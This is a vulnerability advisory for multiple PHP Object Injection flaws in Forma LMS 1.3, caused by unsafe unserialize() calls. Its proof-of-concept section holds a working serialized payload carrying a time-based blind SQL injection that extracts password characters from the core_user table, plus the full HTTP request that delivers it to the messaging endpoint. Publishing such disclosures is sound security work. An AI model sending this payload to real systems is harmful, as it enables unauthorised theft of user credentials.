Forma LMS 1.3 - Multiple PHP Object Injection Vulnerabilities

Forma LMS 1.3 Multiple PHP Object Injection Vulnerabilities

[+] Author: Filippo Roncari
[+] Target: Forma LMS 
[+] Version: 1.3 and probably lower
[+] Vendor: http://www.formalms.org
[+] Accessibility: Remote
[+] Severity: High
[+] CVE: <requested>
[+] Full Advisory: https://www.securenetwork.it/docs/advisory/SN-15-03_Formalms.pdf
[+] Info: [email protected] / [email protected]


[+] Summary
Forma LMS is a corporate oriented Learning Management System, used to manage and deliver online training courses. Forma LMS is SCORM compliant with enterprise class features like multi-client architecture, custom report generation, native ecommerce and catalogue management, integration API, and more.


[+] Vulnerability Details
Forma LMS 1.3 is prone to multiple PHP Object Injection vulnerabilities, due to a repeated unsafe use of the unserialize() function, which allows unprivileged users to inject arbitrary PHP objects. A potential attacker could exploit this vulnerability by sending specially crafted requests to the web application containing malicious serialized input, in order to execute code on the remote server or abuse arbitrary functionalities.


[+] Technical Details
See full advisory at https://www.securenetwork.it/docs/advisory/SN-15-03_Formalms.pdf for the list of identified OI flaws and further technical details.


[+] Proof of Concept (PoC)
The following PoC shows how to abuse the unsafe unserialize() called in writemessage() function in order to trigger a SQL injection flaw. This is an alternative way to exploit one of the identified OI, since a quick check did not highlight useful magic methods. The PoC as well as the other identified vulnerabilities are further detailed in the full advisory. 


	[!] PoC Payload
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	a:2:{i:0;s:122:"0) union select if(substring(pass,1,1) = char(53),benchmark(5000000,encode(1,2)),null) from core_user where idst=11836-- ";i:1;s:1:"1";}
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	[!] PoC Request
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	POST /formalms/appLms/index.php?modname=message&op=writemessage HTTP/1.1
	Host: localhost
	Cookie: docebo_session=91853e7eca413578de70304f94a43fe1
	Content-Type: multipart/form-data; boundary=---------------------------1657367614367103261183989796 
	Content-Length: 1453

	[...]

	-----------------------------1657367614367103261183989796 
	Content-Disposition: form-data; name="message[recipients]"

	a%3A2%3A%7Bi%3A0%3Bs%3A122%3A%220%29+union+SELECT+IF%28SUBSTRING%28pass%2C1%2C1%29+%3D+ char%2853%29%2Cbenchmark%285000000%2Cencode%281%2C2%29%29%2Cnull%29+from+core_user+where+idst% 3D11836--++%22%3Bi%3A1%3Bs%3A1%3A%221%22%3B%7D

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